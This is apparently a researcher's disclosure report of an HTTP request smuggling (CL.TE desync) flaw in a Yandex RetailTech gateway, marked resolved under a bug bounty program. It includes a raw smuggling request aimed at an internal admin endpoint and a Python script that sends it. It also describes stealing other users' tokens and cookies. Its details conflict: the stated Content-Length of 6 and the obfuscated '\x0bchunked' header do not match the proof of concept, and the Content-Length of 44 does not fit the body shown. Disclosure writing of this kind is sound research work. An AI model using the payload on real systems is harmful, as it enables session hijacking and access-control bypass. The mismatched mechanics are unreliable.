rafylabs
← Back to Research/http-request-smuggling-cl-te-yandex
HIGHResolvedRequest Smuggling
Disclosed: 2024-08-14 • 5 min read

HTTP Request Smuggling (CL+TE Desync) — Yandex RetailTech

Target: Yandex RetailTech Gateway
Target Type: Web Gateway
#HTTP/1.1#CL.TE#RFC7230#Reverse Proxy#Socket Poisoning

#Summary

During testing against Yandex RetailTech infrastructure, a discrepancy was identified between the edge reverse proxy and the backend HTTP application server. The frontend prioritised the Content-Length header while the backend processed the Transfer-Encoding: chunked header when both were present, allowing arbitrary request prefixes to remain unread on persistent HTTP connections.

#Technical Detail

RFC 7230 §3.3.3 specifies that if a message is received with both a Transfer-Encoding and a Content-Length header field, the Transfer-Encoding header field MUST take precedence and the Content-Length field MUST be ignored.

However, the perimeter reverse proxy handled request boundaries using Content-Length, forwarding the entire payload without stripping or validating malformed Transfer-Encoding headers. When sending a dual-header payload with an obfuscated Transfer-Encoding: \x0bchunked, the frontend passed it as 6 bytes of body, while the backend interpreted the chunk boundary, leaving the trailing payload in the pipeline buffer for the next incoming request on the pooled TCP connection.

Attack Vector

  • Attacker sends an HTTP/1.1 request specifying Content-Length: 6 and Transfer-Encoding: chunked.
  • Frontend reads 6 bytes and routes the request across a reused keep-alive TCP socket to the backend.
  • Backend parses the chunk 0\r\n\r\n, terminating the first request, leaving the subsequent smuggled HTTP request as the prefix of the next victim's request on the same backend connection.
  • #Proof of Concept

    The following HTTP request demonstrates the desync trigger:

    http
    POST /api/v1/cart/sync HTTP/1.1
    Host: retailtech-gateway.target.net
    User-Agent: Mozilla/5.0 (Security-Research-Rafylabs)
    Accept: */*
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 44
    Transfer-Encoding: chunked
    
    0
    
    GET /admin/internal/metrics HTTP/1.1
    Foo: x

    Python automated verification script:

    python
    import socket
    import ssl
    
    hostname = "retailtech-gateway.target.net"
    context = ssl.create_default_context()
    
    req = (
        b"POST /api/v1/cart/sync HTTP/1.1\r\n"
        b"Host: " + hostname.encode() + b"\r\n"
        b"Content-Length: 44\r\n"
        b"Transfer-Encoding: chunked\r\n"
        b"Connection: keep-alive\r\n\r\n"
        b"0\r\n\r\n"
        b"GET /admin/internal/metrics HTTP/1.1\r\n"
        b"Foo: x"
    )
    
    with socket.create_connection((hostname, 443)) as sock:
        with context.wrap_socket(sock, server_hostname=hostname) as s:
            s.sendall(req)
            response = s.recv(4096)
            print("Initial response:", response.decode(errors="replace")[:200])

    #Impact

    An unauthenticated external attacker could:

  • Poison backend TCP connection pools shared between multiple users.
  • Capture session tokens, authorization headers, and cookies of concurrent users.
  • Bypass frontend perimeter path-based WAF access control restrictions to reach internal endpoints.
  • #Timeline

  • Discovered: 2024-08-10
  • Reported: 2024-08-11
  • Resolved: 2024-08-14
  • // RESPONSIBLE DISCLOSURE COMPLIANCE

    All vulnerabilities documented here were reported through authorized bug bounty programs or official security contact addresses. Sensitive corporate assets, internal tokens, and customer data have been sanitized or omitted in accordance with coordinated disclosure guidelines.